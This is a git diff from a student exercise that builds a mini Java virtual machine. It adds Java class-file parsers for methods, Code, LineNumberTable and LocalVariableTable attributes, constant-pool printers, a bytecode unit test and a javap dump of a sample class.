diff --git a/group24/448641125/src/com/donaldy/jvm/method/Method.java b/group24/448641125/src/com/donaldy/jvm/method/Method.java
index a69ff696b8..8720da21b7 100644
--- a/group24/448641125/src/com/donaldy/jvm/method/Method.java
+++ b/group24/448641125/src/com/donaldy/jvm/method/Method.java
@@ -2,6 +2,7 @@
 
 import com.donaldy.jvm.attr.*;
 import com.donaldy.jvm.clz.ClassFile;
+import com.donaldy.jvm.cmd.ByteCodeCommand;
 import com.donaldy.jvm.constant.ConstantPool;
 import com.donaldy.jvm.constant.UTF8Info;
 import com.donaldy.jvm.loader.ByteCodeIterator;
@@ -48,8 +49,42 @@ public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorInd
 	
 	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 
+
 		int accessFlag = iter.nextU2ToInt();
 		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attribCount = iter.nextU2ToInt();
+
+
+		/*System.out.println("name = " + clzFile.getConstantPool().getUTF8String(nameIndex)
+						+ ", desc = " + clzFile.getConstantPool().getUTF8String(descIndex));*/
+
+		Method m = new Method(clzFile, accessFlag, nameIndex, descIndex);
+
+		//attribCount == 1
+		for( int j = 1; j <= attribCount; j++){
+
+			int attrNameIndex = iter.nextU2ToInt();
+			/*System.out.println("attrNameIndex : " + attrNameIndex);*/
+			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+			/*System.out.println("attrName : " + attrName);*/
+			iter.back(2);
+
+			if(AttributeInfo.CODE.equalsIgnoreCase(attrName)){
+				/*System.out.println("j : " + j );*/
+				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
+				m.setCodeAttr(codeAttr);
+			} else{
+				throw new RuntimeException("only CODE attribute is implemented , please implement the "+ attrName);
+			}
+
+		}
+
+		return m ;
+
+		//////////////////////Backup///////////////////////
+		/*int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
 		int descriptorIndex = iter.nextU2ToInt();
 
 		int attributeCount = iter.nextU2ToInt();
@@ -59,6 +94,7 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		if (!"Code".equals(clzFile.getConstantPool().getUTF8String(attrNameIndex)))
 			throw new RuntimeException("attributeInfo : " + attrNameIndex);
 
+		//CodeAttr.parse
 		int attrLen = iter.nextU4ToInt();
 		int maxStack = iter.nextU2ToInt();
 		int maxLocals = iter.nextU2ToInt();
@@ -83,7 +119,29 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		Method method = new Method(clzFile, accessFlag, nameIndex, descriptorIndex);
 
 		method.setCodeAttr(codeAttr);
-		return method;
+		return method;*/
 		
 	}
+
+	public String toString() {
+
+		ConstantPool pool = this.clzFile.getConstantPool();
+		StringBuilder buffer = new StringBuilder();
+
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+
+		buffer.append(name).append(":").append(desc).append("\n");
+
+		buffer.append(this.codeAttr.toString(pool));
+
+		return buffer.toString();
+	}
+
+	public ByteCodeCommand[] getCmds() {
+
+		return this.getCodeAttr().getCmds();
+
+	}
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/print/ClassFilePrinter.java b/group24/448641125/src/com/donaldy/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..740a9aa9aa
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,52 @@
+package com.donaldy.jvm.print;
+
+import com.donaldy.jvm.clz.ClassFile;
+import com.donaldy.jvm.constant.ClassInfo;
+import com.donaldy.jvm.constant.ConstantInfo;
+import com.donaldy.jvm.constant.ConstantPool;
+import com.donaldy.jvm.constant.FieldRefInfo;
+import com.donaldy.jvm.constant.MethodRefInfo;
+import com.donaldy.jvm.constant.NameAndTypeInfo;
+
+import com.donaldy.jvm.constant.StringInfo;
+import com.donaldy.jvm.constant.UTF8Info;
+import com.donaldy.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMajorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+
+		cnstPoolPrinter.print();
+
+	}
+	
+	public static void main(String[] args){
+		String path = "D:\\tools\\Code\\Y_Repository\\coding2017\\group24\\448641125\\out\\production\\448641125\\";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.donaldy.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/print/ConstantPoolPrinter.java b/group24/448641125/src/com/donaldy/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..910494d803
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,133 @@
+package com.donaldy.jvm.print;
+
+import com.donaldy.jvm.clz.ClassFile;
+import com.donaldy.jvm.clz.ClassIndex;
+import com.donaldy.jvm.constant.ClassInfo;
+import com.donaldy.jvm.constant.ConstantInfo;
+import com.donaldy.jvm.constant.ConstantPool;
+import com.donaldy.jvm.constant.FieldRefInfo;
+import com.donaldy.jvm.constant.MethodRefInfo;
+import com.donaldy.jvm.constant.NameAndTypeInfo;
+import com.donaldy.jvm.constant.StringInfo;
+import com.donaldy.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+
+		System.out.println("Constant Pool:");
+
+		ConstantInfo.Visitor visitor = new ConstantInfo.Visitor() {
+
+			@Override
+			public void visitString(StringInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("String    #").append(info.getIndex());
+				System.out.println(buffer);
+
+			}
+
+			@Override
+			public void visitNameAndType(NameAndTypeInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("NameAndType    #").append(info.getIndex1()).append(":#")
+					.append(info.getIndex2());
+				System.out.println(buffer);
+
+			}
+
+			@Override
+			public void visitMethodRef(MethodRefInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("MethodRef    #").append(info.getClassInfoIndex()).append(".#")
+					.append(info.getNameAndTypeIndex());
+				System.out.println(buffer);
+
+			}
+
+			@Override
+			public void visitFieldRef(FieldRefInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("FieldRef    #").append(info.getClassInfoIndex()).append(".#")
+					.append(info.getNameAndTypeIndex());
+				System.out.println(buffer);
+
+			}
+
+			@Override
+			public void visitClassInfo(ClassInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("Class    #").append(info.getUtf8Index())
+					.append("  ").append(info.getClassName());
+
+				System.out.println(buffer);
+
+			}
+
+			@Override
+			public void visistUTF8(UTF8Info info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("UTF8    ").append(info.getValue());
+				System.out.println(buffer);
+
+			}
+		};
+
+		for(int i=1; i<=pool.getSize(); i++){
+			ConstantInfo constantInfo = pool.getConstantInfo(i);
+			System.out.print("#"+i+"=");
+			constantInfo.accept(visitor);
+		}
+	}
+	/*public void print(){
+		
+		System.out.println("Constant Pool:");
+
+		for (int i = 0; i <= this.pool.getSize(); ++i) {
+			ConstantInfo cnstInfo = this.pool.getConstantInfo(i);
+
+			if (cnstInfo instanceof  ClassInfo) {
+				ClassInfo info = (ClassInfo)cnstInfo;
+
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("Class    #").append(info.getUtf8Index())
+					.append("  ").append(info.getClassName());
+
+				System.out.println(buffer);
+			}
+
+			if (cnstInfo instanceof UTF8Info) {
+
+				UTF8Info info = (UTF8Info) cnstInfo;
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("UTF8     ").append(info.getValue());
+				System.out.println(buffer);
+			}
+
+
+
+			*//*int type = constInfo.getType();
+			System.out.println("type : " + type);
+
+			if (type == ClassInfo.UTF8_INFO) {
+
+			} else if (type == ClassInfo.FLOAT_INFO) {
+
+			} else if (type == ClassInfo.CLASS_INFO) {
+
+			} else if (type == ClassInfo.STRING_INFO) {
+
+			} else if (type == ClassInfo.FIELD_INFO) {
+
+			} else if (type == ClassInfo.METHOD_INFO) {
+
+			} else if (type == ClassInfo.NAME_AND_TYPE_INFO) {
+
+			}*//*
+		}
+		
+	}*/
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/test/ClassFileloaderTest.java b/group24/448641125/src/com/donaldy/jvm/test/ClassFileloaderTest.java
index 8610fda4c9..7c30dedb17 100644
--- a/group24/448641125/src/com/donaldy/jvm/test/ClassFileloaderTest.java
+++ b/group24/448641125/src/com/donaldy/jvm/test/ClassFileloaderTest.java
@@ -2,6 +2,10 @@
 
 import com.donaldy.jvm.clz.ClassFile;
 import com.donaldy.jvm.clz.ClassIndex;
+import com.donaldy.jvm.cmd.BiPushCmd;
+import com.donaldy.jvm.cmd.ByteCodeCommand;
+import com.donaldy.jvm.cmd.OneOperandCmd;
+import com.donaldy.jvm.cmd.TwoOperandCmd;
 import com.donaldy.jvm.constant.*;
 import com.donaldy.jvm.field.Field;
 import com.donaldy.jvm.method.Method;
@@ -276,4 +280,88 @@ private void assertMethodEquals(ConstantPool pool,Method m , String expectedName
 		Assert.assertEquals(expectedCode, code);
 	}
 
+
+	/**
+	 * 第四次 JVM作业
+	 */
+
+	@Test
+	public void testByteCodeCommand(){
+		{
+			ClassFileLoader loader = new ClassFileLoader();
+			loader.addClassPath(this.path1);
+			this.clzFile = loader.loadClass("com.donaldy.jvm.test.EmployeeV1");
+
+			Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+			ByteCodeCommand [] cmds = initMethod.getCmds();
+
+			assertOpCodeEquals("0: aload_0", cmds[0]);
+			assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+			assertOpCodeEquals("4: aload_0", cmds[2]);
+			assertOpCodeEquals("5: aload_1", cmds[3]);
+			assertOpCodeEquals("6: putfield #15", cmds[4]);
+			assertOpCodeEquals("9: aload_0", cmds[5]);
+			assertOpCodeEquals("10: iload_2", cmds[6]);
+			assertOpCodeEquals("11: putfield #17", cmds[7]);
+			assertOpCodeEquals("14: return", cmds[8]);
+		}
+
+		{
+			Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+			ByteCodeCommand[] cmds = setNameMethod.getCmds();
+
+			assertOpCodeEquals("0: aload_0", cmds[0]);
+			assertOpCodeEquals("1: aload_1", cmds[1]);
+			assertOpCodeEquals("2: putfield #15", cmds[2]);
+			assertOpCodeEquals("5: return", cmds[3]);
+
+		}
+
+		{
+			Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+			ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+
+			assertOpCodeEquals("0: getstatic #28", cmds[0]);
+			assertOpCodeEquals("3: ldc #34", cmds[1]);
+			assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+			assertOpCodeEquals("8: return", cmds[3]);
+
+		}
+
+		{
+			Method mainMethod = this.clzFile.getMainMethod();
+
+			ByteCodeCommand [] cmds = mainMethod.getCmds();
+
+			assertOpCodeEquals("0: new #1", cmds[0]);
+			assertOpCodeEquals("3: dup", cmds[1]);
+			assertOpCodeEquals("4: ldc #43", cmds[2]);
+			assertOpCodeEquals("6: bipush 29", cmds[3]);
+			assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+			assertOpCodeEquals("11: astore_1", cmds[5]);
+			assertOpCodeEquals("12: aload_1", cmds[6]);
+			assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+			assertOpCodeEquals("16: return", cmds[8]);
+		}
+
+	}
+
+	private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+
+		String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+
+		if(cmd instanceof OneOperandCmd){
+			if(cmd instanceof BiPushCmd){
+				acctual += " " + ((OneOperandCmd)cmd).getOperand();
+			} else{
+				acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+			}
+		}
+		if(cmd instanceof TwoOperandCmd){
+			acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+		}
+		Assert.assertEquals(expected, acctual);
+	}
+
+
 }
diff --git a/group24/494800949/EmployeeV1-javap.txt b/group24/494800949/EmployeeV1-javap.txt
new file mode 100644
index 0000000000..466714a1dd
--- /dev/null
+++ b/group24/494800949/EmployeeV1-javap.txt
@@ -0,0 +1,164 @@
+$ javap -verbose EmployeeV1
+警告: 二进制文件EmployeeV1包含com.coderising.jvm.test.EmployeeV1
+Classfile /H:/sourceCode/coding2017/group24/494800949/EmployeeV1.class
+  Last modified 2017-4-9; size 1056 bytes
+  MD5 checksum 8454b8999ccc9a2ae26a405d47558825
+  Compiled from "EmployeeV1.java"
+public class com.coderising.jvm.test.EmployeeV1
+  minor version: 0
+  major version: 52
+  flags: ACC_PUBLIC, ACC_SUPER
+Constant pool:
+   #1 = Class              #2             // com/coderising/jvm/test/EmployeeV1
+   #2 = Utf8               com/coderising/jvm/test/EmployeeV1
+   #3 = Class              #4             // java/lang/Object
+   #4 = Utf8               java/lang/Object
+   #5 = Utf8               name
+   #6 = Utf8               Ljava/lang/String;
+   #7 = Utf8               age
+   #8 = Utf8               I
+   #9 = Utf8               <init>
+  #10 = Utf8               (Ljava/lang/String;I)V
+  #11 = Utf8               Code
+  #12 = Methodref          #3.#13         // java/lang/Object."<init>":()V
+  #13 = NameAndType        #9:#14         // "<init>":()V
+  #14 = Utf8               ()V
+  #15 = Fieldref           #1.#16         // com/coderising/jvm/test/EmployeeV1.name:Ljava/lang/String;
+  #16 = NameAndType        #5:#6          // name:Ljava/lang/String;
+  #17 = Fieldref           #1.#18         // com/coderising/jvm/test/EmployeeV1.age:I
+  #18 = NameAndType        #7:#8          // age:I
+  #19 = Utf8               LineNumberTable
+  #20 = Utf8               LocalVariableTable
+  #21 = Utf8               this
+  #22 = Utf8               Lcom/coderising/jvm/test/EmployeeV1;
+  #23 = Utf8               setName
+  #24 = Utf8               (Ljava/lang/String;)V
+  #25 = Utf8               setAge
+  #26 = Utf8               (I)V
+  #27 = Utf8               sayHello
+  #28 = Fieldref           #29.#31        // java/lang/System.out:Ljava/io/PrintStream;
+  #29 = Class              #30            // java/lang/System
+  #30 = Utf8               java/lang/System
+  #31 = NameAndType        #32:#33        // out:Ljava/io/PrintStream;
+  #32 = Utf8               out
+  #33 = Utf8               Ljava/io/PrintStream;
+  #34 = String             #35            // Hello , this is class Employee
+  #35 = Utf8               Hello , this is class Employee
+  #36 = Methodref          #37.#39        // java/io/PrintStream.println:(Ljava/lang/String;)V
+  #37 = Class              #38            // java/io/PrintStream
+  #38 = Utf8               java/io/PrintStream
+  #39 = NameAndType        #40:#24        // println:(Ljava/lang/String;)V
+  #40 = Utf8               println
+  #41 = Utf8               main
+  #42 = Utf8               ([Ljava/lang/String;)V
+  #43 = String             #44            // Andy
+  #44 = Utf8               Andy
+  #45 = Methodref          #1.#46         // com/coderising/jvm/test/EmployeeV1."<init>":(Ljava/lang/String;I)V
+  #46 = NameAndType        #9:#10         // "<init>":(Ljava/lang/String;I)V
+  #47 = Methodref          #1.#48         // com/coderising/jvm/test/EmployeeV1.sayHello:()V
+  #48 = NameAndType        #27:#14        // sayHello:()V
+  #49 = Utf8               args
+  #50 = Utf8               [Ljava/lang/String;
+  #51 = Utf8               p
+  #52 = Utf8               SourceFile
+  #53 = Utf8               EmployeeV1.java
+{
+  public com.coderising.jvm.test.EmployeeV1(java.lang.String, int);
+    descriptor: (Ljava/lang/String;I)V
+    flags: ACC_PUBLIC
+    Code:
+      stack=2, locals=3, args_size=3
+         0: aload_0
+         1: invokespecial #12                 // Method java/lang/Object."<init>":()V
+         4: aload_0
+         5: aload_1
+         6: putfield      #15                 // Field name:Ljava/lang/String;
+         9: aload_0
+        10: iload_2
+        11: putfield      #17                 // Field age:I
+        14: return
+      LineNumberTable:
+        line 9: 0
+        line 10: 4
+        line 11: 9
+        line 12: 14
+      LocalVariableTable:
+        Start  Length  Slot  Name   Signature
+            0      15     0  this   Lcom/coderising/jvm/test/EmployeeV1;
+            0      15     1  name   Ljava/lang/String;
+            0      15     2   age   I
+
+  public void setName(java.lang.String);
+    descriptor: (Ljava/lang/String;)V
+    flags: ACC_PUBLIC
+    Code:
+      stack=2, locals=2, args_size=2
+         0: aload_0
+         1: aload_1
+         2: putfield      #15                 // Field name:Ljava/lang/String;
+         5: return
+      LineNumberTable:
+        line 15: 0
+        line 16: 5
+      LocalVariableTable:
+        Start  Length  Slot  Name   Signature
+            0       6     0  this   Lcom/coderising/jvm/test/EmployeeV1;
+            0       6     1  name   Ljava/lang/String;
+
+  public void setAge(int);
+    descriptor: (I)V
+    flags: ACC_PUBLIC
+    Code:
+      stack=2, locals=2, args_size=2
+         0: aload_0
+         1: iload_1
+         2: putfield      #17                 // Field age:I
+         5: return
+      LineNumberTable:
+        line 18: 0
+        line 19: 5
+      LocalVariableTable:
+        Start  Length  Slot  Name   Signature
+            0       6     0  this   Lcom/coderising/jvm/test/EmployeeV1;
+            0       6     1   age   I
+
+  public void sayHello();
+    descriptor: ()V
+    flags: ACC_PUBLIC
+    Code:
+      stack=2, locals=1, args_size=1
+         0: getstatic     #28                 // Field java/lang/System.out:Ljava/io/PrintStream;
+         3: ldc           #34                 // String Hello , this is class Employee
+         5: invokevirtual #36                 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
+         8: return
+      LineNumberTable:
+        line 21: 0
+        line 22: 8
+      LocalVariableTable:
+        Start  Length  Slot  Name   Signature
+            0       9     0  this   Lcom/coderising/jvm/test/EmployeeV1;
+
+  public static void main(java.lang.String[]);
+    descriptor: ([Ljava/lang/String;)V
+    flags: ACC_PUBLIC, ACC_STATIC
+    Code:
+      stack=4, locals=2, args_size=1
+         0: new           #1                  // class com/coderising/jvm/test/EmployeeV1
+         3: dup
+         4: ldc           #43                 // String Andy
+         6: bipush        29
+         8: invokespecial #45                 // Method "<init>":(Ljava/lang/String;I)V
+        11: astore_1
+        12: aload_1
+        13: invokevirtual #47                 // Method sayHello:()V
+        16: return
+      LineNumberTable:
+        line 24: 0
+        line 25: 12
+        line 27: 16
+      LocalVariableTable:
+        Start  Length  Slot  Name   Signature
+            0      17     0  args   [Ljava/lang/String;
+           12       5     1     p   Lcom/coderising/jvm/test/EmployeeV1;
+}
+SourceFile: "EmployeeV1.java"
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/AttributeInfo.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..7db7a49c32
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/CodeAttr.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..b1685c4314
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,93 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.attr;
+
+
+import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
+import com.coding.mini_jvm.src.com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coding.mini_jvm.src.com.coderising.jvm.cmd.CommandParser;
+import com.coding.mini_jvm.src.com.coderising.jvm.loader.ByteCodeIterator;
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	private ByteCodeCommand[] cmds;
+
+	public ByteCodeCommand[] getCmds() {
+		return cmds;
+	}
+
+	private LineNumberTable    lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable      stackMapTable;
+
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code ,ByteCodeCommand[] cmds) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+
+		//回退2个字节
+		iter.back(ByteCodeIterator.U2);
+		int attrNameIndex = iter.readTwoBytesToInt();
+		int attrLen = iter.readFourBytesToInt();
+		int maxStack = iter.readTwoBytesToInt();
+		int maxLocal = iter.readTwoBytesToInt();
+		int codeLen = iter.readFourBytesToInt();
+		String code = iter.readBytesToHexString(codeLen);
+		ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocal, codeLen, code, cmds);
+		//异常表长度
+		int exceptionTableLen = iter.readTwoBytesToInt();
+		if (exceptionTableLen > 0) {
+			throw new RuntimeException("not impl yet");
+		}
+
+		//子属性个数
+		int attrCount = iter.readTwoBytesToInt();
+		for (int i = 0; i < attrCount; i++) {
+			attrNameIndex = iter.readTwoBytesToInt();
+			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+			if ("LineNumberTable".equals(attrName)) {
+				LineNumberTable lineNumberTable = LineNumberTable.parse(iter);
+				codeAttr.setLineNumberTable(lineNumberTable);
+			} else if ("LocalVariableTable".equals(attrName)) {
+				LocalVariableTable localVariableTable = LocalVariableTable.parse(iter);
+				codeAttr.setLocalVariableTable(localVariableTable);
+			} else if ("StackMapTable".equals(attrName)) {
+				StackMapTable stackMapTable = StackMapTable.parse(iter);
+				codeAttr.setStackMapTable(stackMapTable);
+			} else {
+				throw new RuntimeException("not impl yet");
+			}
+		}
+
+		return codeAttr;
+	}
+
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+	}
+
+	
+	
+	
+	
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/LineNumberTable.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..93e7d9b7a8
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,52 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.attr;
+
+import com.coding.mini_jvm.src.com.coderising.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		iter.back(ByteCodeIterator.U2);
+		int attrNameIndex = iter.readTwoBytesToInt();
+		int attrLen = iter.readFourBytesToInt();
+		LineNumberTable lineNumberTable = new LineNumberTable(attrNameIndex, attrLen);
+		int itemCount = iter.readTwoBytesToInt();
+		for (int i = 0; i < itemCount; i++) {
+			LineNumberItem lineNumberItem  = new LineNumberItem();
+			lineNumberItem.setStartPC(iter.readTwoBytesToInt());
+			lineNumberItem.setLineNum(iter.readTwoBytesToInt());
+			lineNumberTable.addLineNumberItem(lineNumberItem);
+		}
+		return lineNumberTable;
+	}
+	
+	
+
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..9e9e1d9e21
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..2900349fa5
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,39 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.attr;
+
+
+import com.coding.mini_jvm.src.com.coderising.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		iter.back(ByteCodeIterator.U2);
+		int attrNameIdex = iter.readTwoBytesToInt();
+		int attrLen = iter.readFourBytesToInt();
+		LocalVariableTable localVariableTable = new LocalVariableTable(attrNameIdex, attrLen);
+		int varCount = iter.readTwoBytesToInt();
+		for (int i = 0; i < varCount; i++) {
+			LocalVariableItem item = new LocalVariableItem();
+			item.setStartPC(iter.readTwoBytesToInt());
+			item.setLength(iter.readTwoBytesToInt());
+			item.setNameIndex(iter.readTwoBytesToInt());
+			item.setDescIndex(iter.readTwoBytesToInt());
+			item.setIndex(iter.readTwoBytesToInt());
+			localVariableTable.addLocalVariableItem(item);
+		}
+		return localVariableTable;
+	}
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/StackMapTable.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..a6e55353f1
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.attr;
+
+
+import com.coding.mini_jvm.src.com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		iter.back(ByteCodeIterator.U2);
+		int index = iter.readTwoBytesToInt();
+		int len = iter.readFourBytesToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.readBytesToString(len);
+		t.setOriginalCode(code);
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/clz/ClassFile.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/clz/ClassFile.java
index 0d2525e416..6c88b9fff5 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/clz/ClassFile.java
